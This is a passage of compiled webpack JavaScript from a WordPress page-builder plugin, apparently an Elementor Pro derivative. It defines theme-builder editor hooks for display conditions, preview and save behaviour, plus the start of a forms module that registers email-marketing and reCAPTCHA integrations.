			var _super = (0, _createSuper2.default)(ThemeBuilderSaveAndReload);

			function ThemeBuilderSaveAndReload() {
				(0, _classCallCheck2.default)(this, ThemeBuilderSaveAndReload);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderSaveAndReload, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/elements/settings';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-save-and-reload';
				}
			}, {
				key: "getContainerType",
				value: function getContainerType() {
					return 'document';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					return args.settings && args.settings.page_template;
				}
			}, {
				key: "apply",
				value: function apply() {
					$e.run('document/save/auto', {
						force: true,
						onSuccess: function onSuccess() {
							elementor.reloadPreview();
							elementor.once('preview:loaded', function () {
								$e.route('panel/page-settings/settings');
							});
						}
					});
				}
			}]);
			return ThemeBuilderSaveAndReload;
		}($e.modules.hookData.After);

		exports.ThemeBuilderSaveAndReload = ThemeBuilderSaveAndReload;
		var _default = ThemeBuilderSaveAndReload;
		exports.default = _default;

		/***/ }),
	/* 388 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderUpdatePreviewOptions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderUpdatePreviewOptions = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(ThemeBuilderUpdatePreviewOptions, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(ThemeBuilderUpdatePreviewOptions);

			function ThemeBuilderUpdatePreviewOptions() {
				(0, _classCallCheck2.default)(this, ThemeBuilderUpdatePreviewOptions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderUpdatePreviewOptions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/elements/settings';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-update-preview-options';
				}
			}, {
				key: "getContainerType",
				value: function getContainerType() {
					return 'document';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					return args.settings && args.settings.preview_type;
				}
			}, {
				key: "apply",
				value: function apply(args) {
					var _args$containers = args.containers,
						containers = _args$containers === void 0 ? [args.container] : _args$containers,
						themeBuilder = elementorPenci.modules.themeBuilder;
					$e.run('document/elements/settings', {
						containers: containers,
						settings: {
							preview_id: '',
							preview_search_term: ''
						}
					});

					if ($e.routes.is('panel/page-settings/settings')) {
						themeBuilder.updatePreviewIdOptions(true);
					}
				}
			}]);
			return ThemeBuilderUpdatePreviewOptions;
		}($e.modules.hookData.After);

		exports.ThemeBuilderUpdatePreviewOptions = ThemeBuilderUpdatePreviewOptions;
		var _default = ThemeBuilderUpdatePreviewOptions;
		exports.default = _default;

		/***/ }),
	/* 389 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderSaveConditions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderSaveConditions = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(ThemeBuilderSaveConditions, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(ThemeBuilderSaveConditions);

			function ThemeBuilderSaveConditions() {
				(0, _classCallCheck2.default)(this, ThemeBuilderSaveConditions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderSaveConditions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/save';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-save-conditions';
				}
			}, {
				key: "getConditions",
				value: function getConditions() {
					return !!elementor.config.document.theme_builder;
				}
			}, {
				key: "apply",
				value: function apply() {
					var conditionsModel = elementorPenci.modules.themeBuilder.conditionsModel;
					elementorPenci.ajax.addRequest('theme_builder_save_conditions', {
						data: conditionsModel.toJSON({
							remove: ['default']
						}),
						success: function success() {
							elementor.config.document.theme_builder.settings.conditions = conditionsModel.get('conditions');
						}
					});
				}
			}]);
			return ThemeBuilderSaveConditions;
		}($e.modules.hookData.After);

		exports.ThemeBuilderSaveConditions = ThemeBuilderSaveConditions;
		var _default = ThemeBuilderSaveConditions;
		exports.default = _default;

		/***/ }),
	/* 390 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderShowConditions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderShowConditions = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(ThemeBuilderShowConditions, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(ThemeBuilderShowConditions);

			function ThemeBuilderShowConditions() {
				(0, _classCallCheck2.default)(this, ThemeBuilderShowConditions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderShowConditions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/default';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-show-conditions';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var _args$force = args.force,
						force = _args$force === void 0 ? false : _args$force; // If force save, do not show conditions.

					if (force) {
						return false;
					}

					var showConditions = false;
					var themeBuilder = elementor.config.document.theme_builder;

					if (themeBuilder) {
						var hasConditions = themeBuilder.settings.conditions.length,
							hasLocation = themeBuilder.settings.location,
							isDraft = 'draft' === elementor.settings.page.model.get('post_status');

						if (hasLocation && (!hasConditions || isDraft)) {
							showConditions = true;
						}
					}

					return showConditions;
				}
			}, {
				key: "apply",
				value: function apply() {
					$e.route('theme-builder-publish/conditions');
					return false; // HookBreak.
				}
			}]);
			return ThemeBuilderShowConditions;
		}($e.modules.hookData.Dependency);

		exports.ThemeBuilderShowConditions = ThemeBuilderShowConditions;
		var _default = ThemeBuilderShowConditions;
		exports.default = _default;

		/***/ }),
	/* 391 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderPreviewBreak = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderPreviewBreak = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(ThemeBuilderPreviewBreak, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(ThemeBuilderPreviewBreak);

			function ThemeBuilderPreviewBreak() {
				(0, _classCallCheck2.default)(this, ThemeBuilderPreviewBreak);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderPreviewBreak, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/preview';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-preview-break';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					// If preview is forced, do not break it.
					if (args.force) {
						return false;
					}

					return !!elementor.documents.get(args.id).config.theme_builder;
				}
			}, {
				key: "apply",
				value: function apply() {
					return false; // HookBreak.
				}
			}]);
			return ThemeBuilderPreviewBreak;
		}($e.modules.hookData.Dependency);

		exports.ThemeBuilderPreviewBreak = ThemeBuilderPreviewBreak;
		var _default = ThemeBuilderPreviewBreak;
		exports.default = _default;

		/***/ }),
	/* 392 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "ThemeBuilderAddEditorUI", {
			enumerable: true,
			get: function get() {
				return _addEditorUi.ThemeBuilderAddEditorUI;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderRemoveEditorUI", {
			enumerable: true,
			get: function get() {
				return _removeEditorUi.ThemeBuilderRemoveEditorUI;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderToggleMenuConditions", {
			enumerable: true,
			get: function get() {
				return _toggleMenuConditions.ThemeBuilderToggleMenuConditions;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderFooterSaverAfterSave", {
			enumerable: true,
			get: function get() {
				return _after.ThemeBuilderFooterSaverAfterSave;
			}
		});

		var _addEditorUi = __webpack_require__(393);

		var _removeEditorUi = __webpack_require__(398);

		var _toggleMenuConditions = __webpack_require__(399);

		var _after = __webpack_require__(400);

		/***/ }),
	/* 393 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderAddEditorUI = void 0;

		var _keys = _interopRequireDefault(__webpack_require__(48));

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _view = _interopRequireDefault(__webpack_require__(394));

		var ThemeBuilderAddEditorUI = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(ThemeBuilderAddEditorUI, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(ThemeBuilderAddEditorUI);

			function ThemeBuilderAddEditorUI() {
				(0, _classCallCheck2.default)(this, ThemeBuilderAddEditorUI);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderAddEditorUI, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/open';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-add-editor-ui';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					return elementor.documents.get(args.id).config.theme_builder;
				}
			}, {
				key: "apply",
				value: function apply() {
					if (elementor.panel) {
						this.addUI();
					} else {
						// First open, the panel is not available yet.
						elementor.once('preview:loaded', this.addUI.bind(this));
					}
				}
			}, {
				key: "addUI",
				value: function addUI() {
					this.addRepeaterControlView();
					this.addPanelFooterSubmenuItems();
					this.addPublishTabs();
				}
			}, {
				key: "addRepeaterControlView",
				value: function addRepeaterControlView() {
					elementor.addControlView('Conditions_repeater', __webpack_require__(396));
				}
			}, {
				key: "addPublishTabs",
				value: function addPublishTabs() {
					var component = $e.components.get('theme-builder-publish'),
						themeBuilderModuleConfig = elementor.config.document.theme_builder,
						settings = themeBuilderModuleConfig.settings;
					component.manager.conditionsModel = new elementorModules.editor.elements.models.BaseSettings(settings, {
						controls: themeBuilderModuleConfig.template_conditions.controls
					});
					component.addTab('conditions', {
						title: elementorPenci.translate('conditions'),
						View: _view.default,
						viewOptions: {
							model: component.manager.conditionsModel,
							controls: component.manager.conditionsModel.controls
						},
						name: 'conditions',
						description: elementorPenci.translate('conditions_publish_screen_description'),
						image: elementorPenci.config.urls.modules + 'theme-builder/assets/images/conditions-tab.svg'
					});
				}
			}, {
				key: "addPanelFooterSubmenuItems",
				value: function addPanelFooterSubmenuItems() {
					var footerView = elementor.getPanelView().footer.currentView,
						behavior = footerView._behaviors[(0, _keys.default)(footerView.behaviors()).indexOf('saver')];

					footerView.ui.menuConditions = footerView.addSubMenuItem('saver-options', {
						before: 'save-template',
						name: 'conditions',
						icon: 'eicon-flow',
						title: elementorPenci.translate('display_conditions'),
						callback: function callback() {
							return $e.route('theme-builder-publish/conditions');
						}
					});
					footerView.ui.menuConditions.toggle(!!elementor.config.document.theme_builder.settings.location);
					behavior.ui.buttonPreview.tipsy('disable').html(jQuery('#tmpl-elementor-theme-builder-button-preview').html()).addClass('elementor-panel-footer-theme-builder-buttons-wrapper elementor-toggle-state');
				}
			}]);
			return ThemeBuilderAddEditorUI;
		}($e.modules.hookUI.After);

		exports.ThemeBuilderAddEditorUI = ThemeBuilderAddEditorUI;
		var _default = ThemeBuilderAddEditorUI;
		exports.default = _default;

		/***/ }),
	/* 394 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var inlineControlsStack = __webpack_require__(395);

		module.exports = inlineControlsStack.extend({
			id: 'elementor-theme-builder-conditions-view',
			template: '#tmpl-elementor-theme-builder-conditions-view',
			childViewContainer: '#elementor-theme-builder-conditions-controls',
			childViewOptions: function childViewOptions() {
				return {
					elementSettingsModel: this.model
				};
			}
		});

		/***/ }),
	/* 395 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(276);

		__webpack_require__(234);

		__webpack_require__(111);

		module.exports = elementorModules.editor.views.ControlsStack.extend({
			activeTab: 'content',
			activeSection: 'settings',
			initialize: function initialize() {
				this.collection = new Backbone.Collection(_.values(this.options.controls));
			},
			filter: function filter(model) {
				if ('section' === model.get('type')) {
					return true;
				}

				var section = model.get('section');
				return !section || section === this.activeSection;
			},
			childViewOptions: function childViewOptions() {
				return {
					elementSettingsModel: this.model
				};
			}
		});

		/***/ }),
	/* 396 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _repeaterRow = _interopRequireDefault(__webpack_require__(397));

		module.exports = elementor.modules.controls.Repeater.extend({
			childView: _repeaterRow.default,
			updateActiveRow: function updateActiveRow() {},
			initialize: function initialize() {
				elementor.modules.controls.Repeater.prototype.initialize.apply(this, arguments);
				this.config = elementor.config.document.theme_builder;
				this.updateConditionsOptions(this.config.settings.template_type);
			},
			updateConditionsOptions: function updateConditionsOptions(templateType) {
				var self = this,
					conditionType = self.config.types[templateType].condition_type,
					options = {};

				_([conditionType]).each(function (conditionId, conditionIndex) {
					var conditionConfig = self.config.conditions[conditionId],
						group = {
							label: conditionConfig.label,
							options: {}
						};
					group.options[conditionId] = conditionConfig.all_label;

					_(conditionConfig.sub_conditions).each(function (subConditionId) {
						group.options[subConditionId] = self.config.conditions[subConditionId].label;
					});

					options[conditionIndex] = group;
				});

				var fields = this.model.get('fields');
				fields[1].default = conditionType;

				if ('general' === conditionType) {
					fields[1].groups = options;
				} else {
					fields[2].groups = options;
				}
			},
			onRender: function onRender() {
				this.ui.btnAddRow.text(elementorPenci.translate('add_condition'));
			}
		});

		/***/ }),
	/* 397 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(110);

		module.exports = elementor.modules.controls.RepeaterRow.extend({
			template: '#tmpl-elementor-theme-builder-conditions-repeater-row',
			childViewContainer: '.elementor-theme-builder-conditions-repeater-row-controls',
			conflictCheckedOnFirstRender: false,
			id: function id() {
				return 'elementor-condition-id-' + this.model.get('_id');
			},
			onBeforeRender: function onBeforeRender() {
				var subNameModel = this.collection.findWhere({
						name: 'sub_name'
					}),
					subIdModel = this.collection.findWhere({
						name: 'sub_id'
					}),
					subConditionConfig = this.config.conditions[this.model.attributes.sub_name];
				subNameModel.attributes.groups = this.getOptions();

				if (subConditionConfig && subConditionConfig.controls) {
					_(subConditionConfig.controls).each(function (control) {
						subIdModel.set(control);
						subIdModel.set('name', 'sub_id');
					});
				}
			},
			initialize: function initialize() {
				elementor.modules.controls.RepeaterRow.prototype.initialize.apply(this, arguments);
				this.config = elementor.config.document.theme_builder;
			},
			updateOptions: function updateOptions() {
				if (this.model.changed.name) {
					this.model.set({
						sub_name: '',
						sub_id: ''
					});
				}

				if (this.model.changed.name || this.model.changed.sub_name) {
					this.model.set('sub_id', '', {
						silent: true
					});
					var subIdModel = this.collection.findWhere({
						name: 'sub_id'
					});
					subIdModel.set({
						type: 'select',
						options: {
							'': 'All'
						}
					});
					this.render();
				}

				if (this.model.changed.type) {
					this.setTypeAttribute();
				}
			},
			getOptions: function getOptions() {
				var self = this,
					conditionConfig = self.config.conditions[this.model.get('name')];

				if (!conditionConfig) {
					return;
				}

				var options = {
					'': conditionConfig.all_label
				};

				_(conditionConfig.sub_conditions).each(function (conditionId, conditionIndex) {
					var subConditionConfig = self.config.conditions[conditionId],
						group;

					if (!subConditionConfig) {
						return;
					}

					if (subConditionConfig.sub_conditions.length) {
						group = {
							label: subConditionConfig.label,
							options: {}
						};
						group.options[conditionId] = subConditionConfig.all_label;

						_(subConditionConfig.sub_conditions).each(function (subConditionId) {
							group.options[subConditionId] = self.config.conditions[subConditionId].label;
						}); // Use a sting key - to keep order


						options['key' + conditionIndex] = group;
					} else {
						options[conditionId] = subConditionConfig.label;
					}
				});

				return options;
			},
			setTypeAttribute: function setTypeAttribute() {
				var typeView = this.children.findByModel(this.collection.findWhere({
					name: 'type'
				}));
				typeView.$el.attr('data-elementor-condition-type', typeView.getControlValue());
			},
			// Moved from `modules/theme-builder/assets/js/editor/conditions/repeater.js`.
			checkConflicts: function checkConflicts() {
				var modelId = this.model.get('_id'),
					rowId = 'elementor-condition-id-' + modelId,
					errorMessageId = 'elementor-conditions-conflict-message-' + modelId,
					$error = jQuery('#' + errorMessageId); // On render - the row isn't exist, so don't cache it.

				jQuery('#' + rowId).removeClass('elementor-error');
				$error.remove();
				elementorPenci.ajax.addRequest('theme_builder_conditions_check_conflicts', {
					unique_id: rowId,
					data: {
						condition: this.model.toJSON()
					},
					success: function success(data) {
						if (!_.isEmpty(data)) {
							jQuery('#' + rowId).addClass('elementor-error').after('<div id="' + errorMessageId + '" class="elementor-conditions-conflict-message">' + data + '</div>');
						}
					}
				});
			},
			onRender: function onRender() {
				var nameModel = this.collection.findWhere({
						name: 'name'
					}),
					subNameModel = this.collection.findWhere({
						name: 'sub_name'
					}),
					subIdModel = this.collection.findWhere({
						name: 'sub_id'
					}),
					nameView = this.children.findByModel(nameModel),
					subNameView = this.children.findByModel(subNameModel),
					subIdView = this.children.findByModel(subIdModel),
					conditionConfig = this.config.conditions[this.model.attributes.name],
					subConditionConfig = this.config.conditions[this.model.attributes.sub_name],
					typeConfig = this.config.types[this.config.settings.template_type];

				if (typeConfig.condition_type === nameView.getControlValue() && 'general' !== nameView.getControlValue() && !_.isEmpty(conditionConfig.sub_conditions)) {
					nameView.$el.hide();
				}

				if (!conditionConfig || _.isEmpty(conditionConfig.sub_conditions) && _.isEmpty(conditionConfig.controls) || !nameView.getControlValue() || 'general' === nameView.getControlValue()) {
					subNameView.$el.hide();
				}

				if (!subConditionConfig || _.isEmpty(subConditionConfig.controls) || !subNameView.getControlValue()) {
					subIdView.$el.hide();
				} // Avoid set a `single` for a-l-l singular types. (conflicted with 404 & custom cpt like Shops and Events plugins).


				if ('singular' === typeConfig.condition_type) {
					if ('' === subNameView.getControlValue()) {
						subNameView.setValue('post');
					}
				}

				this.setTypeAttribute();

				if (!this.conflictCheckedOnFirstRender) {
					this.checkConflicts();
					this.conflictCheckedOnFirstRender = true;
				}
			},
			onModelChange: function onModelChange() {
				this.updateOptions();
				this.checkConflicts();
			}
		});

		/***/ }),
	/* 398 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderRemoveEditorUI = void 0;

		var _keys = _interopRequireDefault(__webpack_require__(48));

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderRemoveEditorUI = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(ThemeBuilderRemoveEditorUI, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(ThemeBuilderRemoveEditorUI);

			function ThemeBuilderRemoveEditorUI() {
				(0, _classCallCheck2.default)(this, ThemeBuilderRemoveEditorUI);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderRemoveEditorUI, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/unload';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-remove-editor-ui';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = args.document;
					return document.config.theme_builder;
				}
			}, {
				key: "apply",
				value: function apply() {
					this.removePanelFooterSubmenuItems();
					this.removePublishTabs();
				}
			}, {
				key: "removePanelFooterSubmenuItems",
				value: function removePanelFooterSubmenuItems() {
					var footerView = elementor.getPanelView().footer.currentView,
						behavior = footerView._behaviors[(0, _keys.default)(footerView.behaviors()).indexOf('saver')];

					elementor.getPanelView().footer.currentView.removeSubMenuItem('saver-options', {
						name: 'conditions'
					});
					behavior.ui.buttonPreview.tipsy('enable').removeClass('elementor-panel-footer-theme-builder-buttons-wrapper elementor-toggle-state');
				}
			}, {
				key: "removePublishTabs",
				value: function removePublishTabs() {
					var component = $e.components.get('theme-builder-publish');
					component.removeTab('conditions');
				}
			}]);
			return ThemeBuilderRemoveEditorUI;
		}($e.modules.hookUI.After);

		exports.ThemeBuilderRemoveEditorUI = ThemeBuilderRemoveEditorUI;
		var _default = ThemeBuilderRemoveEditorUI;
		exports.default = _default;

		/***/ }),
	/* 399 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderToggleMenuConditions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderToggleMenuConditions = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(ThemeBuilderToggleMenuConditions, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(ThemeBuilderToggleMenuConditions);

			function ThemeBuilderToggleMenuConditions() {
				(0, _classCallCheck2.default)(this, ThemeBuilderToggleMenuConditions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderToggleMenuConditions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/elements/settings';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-toggle-menu-conditions';
				}
			}, {
				key: "getContainerType",
				value: function getContainerType() {
					return 'document';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					return args.settings && args.settings.location;
				}
			}, {
				key: "apply",
				value: function apply() {
					var themeBuilder = elementorPenci.modules.themeBuilder;
					themeBuilder.ui.menuConditions.toggle(!!elementor.config.document.theme_builder.settings.location);
				}
			}]);
			return ThemeBuilderToggleMenuConditions;
		}($e.modules.hookUI.After);

		exports.ThemeBuilderToggleMenuConditions = ThemeBuilderToggleMenuConditions;
		var _default = ThemeBuilderToggleMenuConditions;
		exports.default = _default;

		/***/ }),
	/* 400 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.ThemeBuilderFooterSaverAfterSave = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderFooterSaverAfterSave = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(ThemeBuilderFooterSaverAfterSave, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(ThemeBuilderFooterSaverAfterSave);

			function ThemeBuilderFooterSaverAfterSave() {
				(0, _classCallCheck2.default)(this, ThemeBuilderFooterSaverAfterSave);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderFooterSaverAfterSave, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/save';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'theme-builder-footer-saver-after-save';
				}
			}, {
				key: "getConditions",
				value: function getConditions() {
					return elementor.config.document.support_site_editor;
				}
			}, {
				key: "apply",
				value: function apply(args, result) {
					var status = args.status;

					if (result.statusChanged) {
						this.onPageStatusChange(status);
					}
				}
			}, {
				key: "onPageStatusChange",
				value: function onPageStatusChange(newStatus) {
					if ('publish' !== newStatus) {
						return;
					}

					var options = {
						classes: 'e-theme-builder-save-toaster',
						message: elementor.config.document.panel.messages.publish_notification,
						buttons: [{
							name: 'open_site_editor',
							text: '<i class="eicon-external-link-square"></i><span class="e-theme-builder-toaster-button-text">' + elementorPenci.translate('open_site_editor') + '</span>',
							callback: function callback() {
								$e.run('app/open');
							}
						}, {
							name: 'view_live_site',
							text: '<i class="eicon-preview-medium"></i><span class="e-theme-builder-toaster-button-text">' + elementorPenci.translate('view_live_site') + '</span>',
							callback: function callback() {
								open(elementor.config.document.urls.permalink);
							}
						}]
					};
					elementor.notifications.showToast(options);
				}
			}]);
			return ThemeBuilderFooterSaverAfterSave;
		}($e.modules.hookUI.After);

		exports.ThemeBuilderFooterSaverAfterSave = ThemeBuilderFooterSaverAfterSave;

		/***/ }),
	/* 401 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(402));

		var FormsModule = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(FormsModule, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(FormsModule);

			function FormsModule() {
				(0, _classCallCheck2.default)(this, FormsModule);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(FormsModule, [{
				key: "onElementorInit",
				value: function onElementorInit() {
					var ReplyToField = __webpack_require__(410),
						Recaptcha = __webpack_require__(411),
						MailerLite = __webpack_require__(412),
						Mailchimp = __webpack_require__(414),
						Drip = __webpack_require__(415),
						ActiveCampaign = __webpack_require__(416),
						GetResponse = __webpack_require__(417),
						ConvertKit = __webpack_require__(418);

					this.replyToField = new ReplyToField();
					this.mailchimp = new Mailchimp('form');
					this.recaptcha = new Recaptcha('form');
					this.drip = new Drip('form');
					this.activecampaign = new ActiveCampaign('form');
					this.getresponse = new GetResponse('form');
					this.convertkit = new ConvertKit('form');
					this.mailerlite = new MailerLite('form'); // Form fields

					var TimeField = __webpack_require__(419),
						DateField = __webpack_require__(420),
						AcceptanceField = __webpack_require__(421),
						UploadField = __webpack_require__(422),
						TelField = __webpack_require__(423);

					this.Fields = {
						time: new TimeField('form'),
						date: new DateField('form'),
						tel: new TelField('form'),
						acceptance: new AcceptanceField('form'),
						upload: new UploadField('form')
					};
					elementor.addControlView('Fields_map', __webpack_require__(424));
					elementor.addControlView('form-fields-repeater', __webpack_require__(425));
				}
			}, {
				key: "onElementorInitComponents",
				value: function onElementorInitComponents() {
					$e.components.register(new _component.default({
						manager: this
					}));
				}
			}]);
			return FormsModule;
		}(elementorModules.editor.utils.Module);

		exports.default = FormsModule;

		/***/ }),
	/* 402 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var hooks = _interopRequireWildcard(__webpack_require__(403));

		var Component = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(Component, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(Component);

			function Component() {
				(0, _classCallCheck2.default)(this, Component);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Component, [{
				key: "getNamespace",
				value: function getNamespace() {
					return 'forms';
				}
			}, {
				key: "defaultHooks",
				value: function defaultHooks() {
					return this.importHooks(hooks);
				}
			}]);
			return Component;
		}($e.modules.ComponentBase);

		exports.default = Component;

		/***/ }),
	/* 403 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


